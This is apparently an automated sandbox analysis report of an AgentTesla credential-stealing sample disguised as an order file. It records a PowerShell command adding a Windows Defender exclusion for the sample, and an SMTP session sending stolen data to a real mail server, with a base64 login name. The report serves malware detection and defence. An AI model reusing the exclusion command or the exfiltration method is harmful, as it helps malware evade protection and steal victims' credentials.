SHA-512:	D94DF9A81FAF494891837FA73FECEF1D8226E18978A2EEA534409724409E13C6DACAB32E00C494FB2A140573E1C152EE407A0E070515B3802A06649690B1C491
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mbqvnce.ao0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcdeezer.3t4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ma5vwock.gkh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qu2utjsw.0pj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.757710857487303
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	ORDER#023_2024.exe
File size:	642'048 bytes
MD5:	cb93d77357df18ffb788e73e7f9e8ba1
SHA1:	0fa0e09a4905239dca028b58a0e6523e8c91498c
SHA256:	3591cadebdbbaee9e75158d085435cf81ba8cdfc5c92b050275f9b490ee60998
SHA512:	3cf47d515a029681d551d23de1743835cf4dc94df275a6cd4c341c2bbc61837167068fc4e228b7b312d5d78b663587cdf7a45174df111e0ab0546294f7da34ef
SSDEEP:	12288:nIR4R52J+XtwoX4D7JtUb4KREvG/4vou+bQy91bDVus1Bja5ickMIR:nIeeTooJtUsKi+QoLh9p5Y5icTI
TLSH:	6BD402481E49E812C95163340FB2F6B8117C6FDEE90193235FEE6EEFF86A9244C492D1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....qNg..............0..t...T........... ........@.. ....................... ............@................................

File Icon


Icon Hash:	033424c4c199d839

Static PE Info

General

Entrypoint:	0x4991fa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x674E7119 [Tue Dec 3 02:46:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x991a8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9a000	0x4ca8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x97200	0x97400	a87cb48f4d56db3267b072228892c834	False	0.9267997804752066	data	7.767634101805021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x9a000	0x4ca8	0x5000	7b6db1034c49ef61784ac56eacc4d534	False	0.9177734375	data	7.667114653481911	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa0000	0xc	0x400	8f06266fd3c5c9f07f6bf8fbfcbf5ffe	False	0.025390625	data	0.05585530805374581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x9a100	0x46f9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9932852661126094
RT_GROUP_ICON	0x9e80c	0x14	data	1.05
RT_VERSION	0x9e830	0x278	data	0.4699367088607595
RT_MANIFEST	0x9eab8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T22:02:06.918218+0100	2855245	ETPRO MALWARE Agent Tesla Exfil via SMTP	1	192.168.2.4	49734	199.79.62.115	587	TCP
2024-12-04T22:02:06.918218+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49734	199.79.62.115	587	TCP
2024-12-04T22:03:40.849487+0100	2030171	ET MALWARE AgentTesla Exfil Via SMTP	1	192.168.2.4	49734	199.79.62.115	587	TCP
2024-12-04T22:03:40.849487+0100	2839723	ETPRO MALWARE Win32/Agent Tesla SMTP Activity	1	192.168.2.4	49734	199.79.62.115	587	TCP
2024-12-04T22:03:40.849487+0100	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	1	192.168.2.4	49734	199.79.62.115	587	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 22:02:03.128299952 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:03.248090029 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:03.248171091 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:04.469135046 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:04.472465992 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:04.592391968 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:04.849436998 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:04.850497961 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:04.970441103 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:05.226970911 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:05.227348089 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:05.347171068 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:05.729644060 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:05.730637074 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:05.850706100 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.107299089 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.110698938 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:06.232547045 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.535120964 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.535592079 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:06.655337095 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.917433023 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:06.918180943 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:06.918217897 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:06.918226957 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:06.918251038 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:02:07.040119886 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:07.040184021 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:07.040200949 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:07.040210009 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:07.405225039 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:02:07.457355022 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:03:40.270678043 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:03:40.391665936 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:03:40.849302053 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:03:40.849487066 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:03:40.849517107 CET	587	49734	199.79.62.115	192.168.2.4
Dec 4, 2024 22:03:40.849570036 CET	49734	587	192.168.2.4	199.79.62.115
Dec 4, 2024 22:03:40.969391108 CET	587	49734	199.79.62.115	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 22:02:00.250247002 CET	54317	53	192.168.2.4	1.1.1.1
Dec 4, 2024 22:02:01.242022038 CET	54317	53	192.168.2.4	1.1.1.1
Dec 4, 2024 22:02:02.238636017 CET	54317	53	192.168.2.4	1.1.1.1
Dec 4, 2024 22:02:03.119982958 CET	53	54317	1.1.1.1	192.168.2.4
Dec 4, 2024 22:02:03.119997978 CET	53	54317	1.1.1.1	192.168.2.4
Dec 4, 2024 22:02:05.029109001 CET	53	54317	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 22:02:00.250247002 CET	192.168.2.4	1.1.1.1	0x23ce	Standard query (0)	mail.mbarieservicesltd.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 22:02:01.242022038 CET	192.168.2.4	1.1.1.1	0x23ce	Standard query (0)	mail.mbarieservicesltd.com	A (IP address)	IN (0x0001)	false
Dec 4, 2024 22:02:02.238636017 CET	192.168.2.4	1.1.1.1	0x23ce	Standard query (0)	mail.mbarieservicesltd.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 22:02:03.119982958 CET	1.1.1.1	192.168.2.4	0x23ce	No error (0)	mail.mbarieservicesltd.com	199.79.62.115	A (IP address)	IN (0x0001)	false
Dec 4, 2024 22:02:03.119997978 CET	1.1.1.1	192.168.2.4	0x23ce	No error (0)	mail.mbarieservicesltd.com	199.79.62.115	A (IP address)	IN (0x0001)	false
Dec 4, 2024 22:02:05.029109001 CET	1.1.1.1	192.168.2.4	0x23ce	No error (0)	mail.mbarieservicesltd.com	199.79.62.115	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 4, 2024 22:02:04.469135046 CET	587	49734	199.79.62.115	192.168.2.4	220-md-54.webhostbox.net ESMTP Exim 4.96.2 #2 Thu, 05 Dec 2024 02:32:04 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Dec 4, 2024 22:02:04.472465992 CET	49734	587	192.168.2.4	199.79.62.115	EHLO 585948
Dec 4, 2024 22:02:04.849436998 CET	587	49734	199.79.62.115	192.168.2.4	250-md-54.webhostbox.net Hello 585948 [8.46.123.228] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Dec 4, 2024 22:02:04.850497961 CET	49734	587	192.168.2.4	199.79.62.115	AUTH login c2FsZXNzQG1iYXJpZXNlcnZpY2VzbHRkLmNvbQ==
Dec 4, 2024 22:02:05.226970911 CET	587	49734	199.79.62.115	192.168.2.4	334 UGFzc3dvcmQ6
Dec 4, 2024 22:02:05.729644060 CET	587	49734	199.79.62.115	192.168.2.4	235 Authentication succeeded
Dec 4, 2024 22:02:05.730637074 CET	49734	587	192.168.2.4	199.79.62.115	MAIL FROM:<saless@mbarieservicesltd.com>
Dec 4, 2024 22:02:06.107299089 CET	587	49734	199.79.62.115	192.168.2.4	250 OK
Dec 4, 2024 22:02:06.110698938 CET	49734	587	192.168.2.4	199.79.62.115	RCPT TO:<iinfo@mbarieservicesltd.com>
Dec 4, 2024 22:02:06.535120964 CET	587	49734	199.79.62.115	192.168.2.4	250 Accepted
Dec 4, 2024 22:02:06.535592079 CET	49734	587	192.168.2.4	199.79.62.115	DATA
Dec 4, 2024 22:02:06.917433023 CET	587	49734	199.79.62.115	192.168.2.4	354 Enter message, ending with "." on a line by itself
Dec 4, 2024 22:02:06.918251038 CET	49734	587	192.168.2.4	199.79.62.115	.
Dec 4, 2024 22:02:07.405225039 CET	587	49734	199.79.62.115	192.168.2.4	250 OK id=1tIwVa-000xsl-2K
Dec 4, 2024 22:03:40.270678043 CET	49734	587	192.168.2.4	199.79.62.115	QUIT
Dec 4, 2024 22:03:40.849302053 CET	587	49734	199.79.62.115	192.168.2.4	221 md-54.webhostbox.net closing connection

Target ID:	0
Start time:	16:01:55
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\ORDER#023_2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER#023_2024.exe"
Imagebase:	0x760000
File size:	642'048 bytes
MD5 hash:	CB93D77357DF18FFB788E73E7F9E8BA1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:01:57
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\ORDER#023_2024.exe"
Imagebase:	0x680000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:01:57
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\ORDER#023_2024.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ORDER#023_2024.exe"
Imagebase:	0x1e0000
File size:	642'048 bytes
MD5 hash:	CB93D77357DF18FFB788E73E7F9E8BA1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:01:57
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:01:57
Start date:	04/12/2024
Path:	C:\Users\user\Desktop\ORDER#023_2024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER#023_2024.exe"
Imagebase:	0xc10000
File size:	642'048 bytes
MD5 hash:	CB93D77357DF18FFB788E73E7F9E8BA1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000005.00000002.2903371766.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:02:00
Start date:	04/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	232
Total number of Limit Nodes:	8

Executed Functions

Function 06F548D8 Relevance: 1.6, Strings: 1, Instructions: 368
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 06F54DE8

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 2c0f49e557c573d38cf74bedd0a643656bc3e5e5331bc8945871102f67e8b671
Instruction ID: ead8b8f2e17d8e088212c063d8e3e3ad0c05a303f4a01f1159d2cba421a93376
Opcode Fuzzy Hash: 2c0f49e557c573d38cf74bedd0a643656bc3e5e5331bc8945871102f67e8b671
Instruction Fuzzy Hash: F7E16F34A00209DFDF45EFB8CA94AAEBBF2FB88304F118465D905A7758CB319D85CB51

Function 06F583B4 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a882dc851404549e7f26bbfc9e9139d4bdcae9bd9ca4e77d65d76a690edcad8c
Instruction ID: d1b04ed1de1918edc41501052d53539d7f33daa6885b4f54263b9df73a39b517
Opcode Fuzzy Hash: a882dc851404549e7f26bbfc9e9139d4bdcae9bd9ca4e77d65d76a690edcad8c
Instruction Fuzzy Hash: EF213B35809268CFDBA0CF54D4447FCBBF9EB5A391F1150D69A2EA6251CB308E85CF41

Function 02A3B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02A3B326

Strings

N, xrefs: 02A3B283
N, xrefs: 02A3B25E

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: HandleModule
String ID: N$N
API String ID: 4139908857-1044518071
Opcode ID: 5e6b7b9e796c4c2c8917bf95c11a74440aa3f2c8c17bcf6103740580f4812561
Instruction ID: 6cfb2ad11cf20711521739f10fbd29634b40470dc92839527001e994a0d0445b
Opcode Fuzzy Hash: 5e6b7b9e796c4c2c8917bf95c11a74440aa3f2c8c17bcf6103740580f4812561
Instruction Fuzzy Hash: 77714770A00B458FD725DF6AD58475ABBF2FF88304F00892DE48AD7A50DB75E949CBA0

Function 06F56B4C Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06F56D8E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f23db75d5b2d8dfc3704b9740a735fdae5490ff9b4b12995161410a75d98da97
Instruction ID: ab24889091ca65f0a92a7ad58ca827ff56cf2e55aa1855b696e6a57558ad26ef
Opcode Fuzzy Hash: f23db75d5b2d8dfc3704b9740a735fdae5490ff9b4b12995161410a75d98da97
Instruction Fuzzy Hash: 52A17771D002198FDF60CF68C844BAEBBB2EF48314F0585A9E958E7260DB749985CF91

Function 06F56B58 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06F56D8E

Memory Dump Source

Source File: 00000000.00000002.1691762415.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_ORDER#023_2024.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9dc02dbd4c17787fa99de3b7f6780f9d76905f26d728b172ea2d2d9a9af64dd8
Instruction ID: e02b63ebd646351758ea8dac08418ac17de90808570743c56adf6edb4fa2ccf6
Opcode Fuzzy Hash: 9dc02dbd4c17787fa99de3b7f6780f9d76905f26d728b172ea2d2d9a9af64dd8
Instruction Fuzzy Hash: 73916871D002198FDF60CF68C844BADBBB2FF48314F1585A9E958E7260DB749985CF91

Function 02A344B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02A359A9

Memory Dump Source

Source File: 00000000.00000002.1679254348.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a30000_ORDER#023_2024.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 92904c4fe3c98b0ad4906edcd09753ed414170c4e919ec8f0a55deb572915716
Instruction ID: 819b5c102a9feb81505b5f24182857cafd95d207aa8e45e8a0f508ad99b9fb87
Opcode Fuzzy Hash: 92904c4fe3c98b0ad4906edcd09753ed414170c4e919ec8f0a55deb572915716
Instruction Fuzzy Hash: 6E41D1B0C0075DCBDB24DFA9C884B9EBBB5BF49304F60806AE408AB255DB756945CF90

Function 02A358ED Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
